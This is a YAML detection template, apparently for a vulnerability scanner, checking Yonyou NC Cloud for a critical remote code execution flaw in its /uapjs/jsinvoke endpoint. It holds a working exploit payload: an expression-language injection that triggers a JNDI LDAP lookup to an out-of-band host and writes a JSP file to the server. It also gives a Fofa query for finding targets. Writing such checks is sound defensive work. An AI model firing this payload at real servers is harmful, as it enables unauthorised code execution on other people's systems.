yonyou-nc-cloud-uapjs-rce: 用友 Yonyou NC uapjs RCE

id: yonyou-nc-cloud-uapjs-rce

info:
  name: 用友 Yonyou NC uapjs RCE
  author: zan8in
  severity: critical
  verified: true
  description: |
    Fofa: app="用友-NC-Cloud"
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/131456781
  tags: cnvd,cnvd2023,yonyou,nccloud,rce
  created: 2023/06/30

set:
  randstr: randomLowercase(6)
  oob: oob()
  oobDNS: oob.DNS
rules:
  r0:
    request:
      method: POST
      path: /uapjs/jsinvoke/?action=invoke
      body: |
        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://{{oobDNS}}')}","webapps/nc_web/{{randstr}}.jsp"]}
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /{{randstr}}.jsp
    expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0() && r1()